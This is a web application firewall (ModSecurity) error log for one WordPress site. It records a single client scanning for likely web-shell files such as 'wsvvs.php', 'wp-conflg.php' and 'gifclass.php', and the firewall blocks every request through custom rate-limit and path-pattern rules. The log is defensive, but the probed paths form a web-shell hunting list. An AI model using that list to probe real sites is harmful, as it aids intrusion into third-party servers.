[Mon Mar 02 02:20:39.734450 2026] [:error] [pid 26940:tid 26956] [client 20.151.11.236:57597] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/autogooey.php"] [unique_id "aaSDdxrUg-j5GLDtRFniVAAAAEw"]
[Mon Mar 02 02:20:40.352262 2026] [:error] [pid 26940:tid 26961] [client 20.151.11.236:58754] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/autogooey.php"] [unique_id "aaSDeBrUg-j5GLDtRFniVwAAAFE"]
[Mon Mar 02 02:20:40.868509 2026] [:error] [pid 53182:tid 53560] [client 20.151.11.236:63507] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/btx25.php"] [unique_id "aaSDePv073cA6eM1YCTp3wAAANA"]
[Mon Mar 02 02:20:41.649755 2026] [:error] [pid 26940:tid 26955] [client 20.151.11.236:58871] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/btx25.php"] [unique_id "aaSDeRrUg-j5GLDtRFniYAAAAEs"]
[Mon Mar 02 02:20:42.264007 2026] [:error] [pid 53585:tid 53611] [client 20.151.11.236:63501] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/btx25.php"] [unique_id "aaSDenbCvYsvu6kKhM3F5QAAABc"]
[Mon Mar 02 02:20:42.745847 2026] [:error] [pid 53585:tid 53605] [client 20.151.11.236:63538] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/btx25.php"] [unique_id "aaSDenbCvYsvu6kKhM3F5wAAABE"]
[Mon Mar 02 02:20:43.188148 2026] [:error] [pid 53180:tid 53458] [client 20.151.11.236:63586] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mga.php"] [unique_id "aaSDezPPJpDOBvYnaa1nQgAAAY4"]
[Mon Mar 02 02:20:43.691076 2026] [:error] [pid 53182:tid 53549] [client 20.151.11.236:58755] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mga.php"] [unique_id "aaSDe_v073cA6eM1YCTp6wAAAMY"]
[Mon Mar 02 02:20:44.127210 2026] [:error] [pid 26940:tid 26954] [client 20.151.11.236:63595] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mga.php"] [unique_id "aaSDfBrUg-j5GLDtRFnicAAAAEo"]
[Mon Mar 02 02:20:44.735667 2026] [:error] [pid 26940:tid 26967] [client 20.151.11.236:63520] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mga.php"] [unique_id "aaSDfBrUg-j5GLDtRFnieAAAAFc"]
[Mon Mar 02 02:20:45.148752 2026] [:error] [pid 26940:tid 26958] [client 20.151.11.236:63545] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/maxro.php"] [unique_id "aaSDfRrUg-j5GLDtRFnifAAAAE4"]
[Mon Mar 02 02:20:45.574458 2026] [:error] [pid 26940:tid 26960] [client 20.151.11.236:63615] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/maxro.php"] [unique_id "aaSDfRrUg-j5GLDtRFniggAAAFA"]
[Mon Mar 02 02:20:46.029445 2026] [:error] [pid 26940:tid 26946] [client 20.151.11.236:63536] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/maxro.php"] [unique_id "aaSDfhrUg-j5GLDtRFnihQAAAEI"]
[Mon Mar 02 02:20:46.674890 2026] [:error] [pid 26940:tid 26945] [client 20.151.11.236:57594] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/maxro.php"] [unique_id "aaSDfhrUg-j5GLDtRFnijwAAAEE"]
[Mon Mar 02 02:20:47.113993 2026] [:error] [pid 26940:tid 26952] [client 20.151.11.236:63528] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/agg.php"] [unique_id "aaSDfxrUg-j5GLDtRFnilwAAAEg"]
[Mon Mar 02 02:20:47.554267 2026] [:error] [pid 26940:tid 26945] [client 20.151.11.236:57488] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/agg.php"] [unique_id "aaSDfxrUg-j5GLDtRFninQAAAEE"]
[Mon Mar 02 02:20:47.980407 2026] [:error] [pid 26940:tid 26960] [client 20.151.11.236:58824] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/agg.php"] [unique_id "aaSDfxrUg-j5GLDtRFninwAAAFA"]
[Mon Mar 02 02:20:48.498106 2026] [:error] [pid 53181:tid 53537] [client 20.151.11.236:63522] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/agg.php"] [unique_id "aaSDgIr_0T1SazTrJOBQ3QAAARY"]
[Mon Mar 02 02:20:48.935951 2026] [:error] [pid 26940:tid 26945] [client 20.151.11.236:58874] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pass4.php"] [unique_id "aaSDgBrUg-j5GLDtRFnirgAAAEE"]
[Mon Mar 02 02:20:49.382738 2026] [:error] [pid 53182:tid 53564] [client 20.151.11.236:63592] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pass4.php"] [unique_id "aaSDgfv073cA6eM1YCTp9QAAANQ"]
[Mon Mar 02 02:20:49.843152 2026] [:error] [pid 26940:tid 26961] [client 20.151.11.236:63612] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pass4.php"] [unique_id "aaSDgRrUg-j5GLDtRFnitgAAAFE"]
[Mon Mar 02 02:20:50.364195 2026] [:error] [pid 53585:tid 53595] [client 20.151.11.236:63504] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pass4.php"] [unique_id "aaSDgnbCvYsvu6kKhM3F9gAAAAc"]
[Mon Mar 02 02:20:50.793064 2026] [:error] [pid 26940:tid 26955] [client 20.151.11.236:63524] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsvvs.php"] [unique_id "aaSDghrUg-j5GLDtRFniugAAAEs"]
[Mon Mar 02 02:20:51.229868 2026] [:error] [pid 26940:tid 26950] [client 20.151.11.236:63532] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsvvs.php"] [unique_id "aaSDgxrUg-j5GLDtRFnivwAAAEY"]
[Mon Mar 02 02:20:51.646148 2026] [:error] [pid 53585:tid 53599] [client 20.151.11.236:58819] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsvvs.php"] [unique_id "aaSDg3bCvYsvu6kKhM3F-wAAAAs"]
[Mon Mar 02 02:20:52.083997 2026] [:error] [pid 53180:tid 53465] [client 20.151.11.236:63556] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wsvvs.php"] [unique_id "aaSDhDPPJpDOBvYnaa1nTgAAAZU"]
[Mon Mar 02 02:20:52.522166 2026] [:error] [pid 53181:tid 53524] [client 20.151.11.236:58763] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/G-In.php"] [unique_id "aaSDhIr_0T1SazTrJOBQ5AAAAQk"]
[Mon Mar 02 02:20:52.956541 2026] [:error] [pid 53182:tid 53568] [client 20.151.11.236:63590] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/G-In.php"] [unique_id "aaSDhPv073cA6eM1YCTp_wAAANg"]
[Mon Mar 02 02:20:53.444564 2026] [:error] [pid 53585:tid 53609] [client 20.151.11.236:63488] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/G-In.php"] [unique_id "aaSDhXbCvYsvu6kKhM3GAAAAABU"]
[Mon Mar 02 02:20:53.876954 2026] [:error] [pid 53182:tid 53551] [client 20.151.11.236:58838] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/G-In.php"] [unique_id "aaSDhfv073cA6eM1YCTqAgAAAMg"]
[Mon Mar 02 02:20:54.331673 2026] [:error] [pid 53182:tid 53548] [client 20.151.11.236:58816] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edit.php"] [unique_id "aaSDhvv073cA6eM1YCTqAwAAAMU"]
[Mon Mar 02 02:20:54.743229 2026] [:error] [pid 53182:tid 53567] [client 20.151.11.236:63536] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edit.php"] [unique_id "aaSDhvv073cA6eM1YCTqBAAAANc"]
[Mon Mar 02 02:20:55.163442 2026] [:error] [pid 53181:tid 53538] [client 20.151.11.236:63580] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edit.php"] [unique_id "aaSDh4r_0T1SazTrJOBQ6wAAARc"]
[Mon Mar 02 02:20:56.181656 2026] [:error] [pid 53585:tid 53610] [client 20.151.11.236:63533] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/edit.php"] [unique_id "aaSDiHbCvYsvu6kKhM3GKgAAABY"]
[Mon Mar 02 02:20:56.696922 2026] [:error] [pid 53585:tid 53608] [client 20.151.11.236:57496] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aaSDiHbCvYsvu6kKhM3GMQAAABQ"]
[Mon Mar 02 02:20:57.271472 2026] [:error] [pid 26940:tid 26946] [client 20.151.11.236:57576] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aaSDiRrUg-j5GLDtRFni1QAAAEI"]
[Mon Mar 02 02:20:57.707594 2026] [:error] [pid 53585:tid 53593] [client 20.151.11.236:63544] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aaSDiXbCvYsvu6kKhM3GQgAAAAU"]
[Mon Mar 02 02:20:58.159277 2026] [:error] [pid 53585:tid 53607] [client 20.151.11.236:58852] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ioxi-o.php"] [unique_id "aaSDinbCvYsvu6kKhM3GSwAAABM"]
[Mon Mar 02 02:20:58.581258 2026] [:error] [pid 53182:tid 53555] [client 20.151.11.236:57573] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aaSDivv073cA6eM1YCTqEQAAAMs"]
[Mon Mar 02 02:20:59.007502 2026] [:error] [pid 26940:tid 26967] [client 20.151.11.236:63563] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aaSDixrUg-j5GLDtRFni3AAAAFc"]
[Mon Mar 02 02:20:59.513868 2026] [:error] [pid 26940:tid 26956] [client 20.151.11.236:58756] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aaSDixrUg-j5GLDtRFni3wAAAEw"]
[Mon Mar 02 02:20:59.956282 2026] [:error] [pid 26940:tid 26953] [client 20.151.11.236:63600] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-content/admin.php"] [unique_id "aaSDixrUg-j5GLDtRFni5QAAAEk"]
[Mon Mar 02 02:21:00.425113 2026] [:error] [pid 26940:tid 26964] [client 20.151.11.236:57588] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "aaSDjBrUg-j5GLDtRFni6wAAAFQ"]
[Mon Mar 02 02:21:00.871247 2026] [:error] [pid 53180:tid 53451] [client 20.151.11.236:57546] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "aaSDjDPPJpDOBvYnaa1nWQAAAYc"]
[Mon Mar 02 02:21:01.357624 2026] [:error] [pid 26940:tid 26968] [client 20.151.11.236:63514] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "aaSDjRrUg-j5GLDtRFni7gAAAFg"]
[Mon Mar 02 02:21:01.971136 2026] [:error] [pid 26940:tid 26963] [client 20.151.11.236:63560] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/66.php"] [unique_id "aaSDjRrUg-j5GLDtRFni8gAAAFM"]
[Mon Mar 02 02:21:02.400790 2026] [:error] [pid 53585:tid 53596] [client 20.151.11.236:58771] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/tinymce/themes/inlite/"] [unique_id "aaSDjnbCvYsvu6kKhM3GWQAAAAg"]
[Mon Mar 02 02:21:02.855811 2026] [:error] [pid 53585:tid 53611] [client 20.151.11.236:63506] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/tinymce/themes/inlite/"] [unique_id "aaSDjnbCvYsvu6kKhM3GWwAAABc"]
[Mon Mar 02 02:21:03.305401 2026] [:error] [pid 26940:tid 26951] [client 20.151.11.236:63554] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/tinymce/themes/inlite/"] [unique_id "aaSDjxrUg-j5GLDtRFni-wAAAEc"]
[Mon Mar 02 02:21:03.769461 2026] [:error] [pid 53182:tid 53547] [client 20.151.11.236:57557] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-includes/js/tinymce/themes/inlite/"] [unique_id "aaSDj_v073cA6eM1YCTqGgAAAMQ"]
[Mon Mar 02 02:21:04.205540 2026] [:error] [pid 53180:tid 53457] [client 20.151.11.236:63568] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass.php"] [unique_id "aaSDkDPPJpDOBvYnaa1nZgAAAY0"]
[Mon Mar 02 02:21:04.643991 2026] [:error] [pid 53180:tid 53461] [client 20.151.11.236:58840] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass.php"] [unique_id "aaSDkDPPJpDOBvYnaa1naQAAAZE"]
[Mon Mar 02 02:21:05.107772 2026] [:error] [pid 53585:tid 53599] [client 20.151.11.236:58862] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass.php"] [unique_id "aaSDkXbCvYsvu6kKhM3GYwAAAAs"]
[Mon Mar 02 02:21:05.561776 2026] [:error] [pid 53180:tid 53444] [client 20.151.11.236:63605] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gifclass.php"] [unique_id "aaSDkTPPJpDOBvYnaa1nbAAAAYA"]
[Mon Mar 02 02:21:05.999142 2026] [:error] [pid 53585:tid 53601] [client 20.151.11.236:58833] [client 20.151.11.236] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "vetstars.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aaSDkXbCvYsvu6kKhM3GaAAAAA0"]
[Mon Mar 02 02:21:06.533132 2026] [:error] [pid 53585:tid 53597] [client 20.151.11.236:58842] [client 20.151.11.236] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wp-admin/images/wp-conflg.php"] [unique_id "aaSDknbCvYsvu6kKhM3GcAAAAAk"]
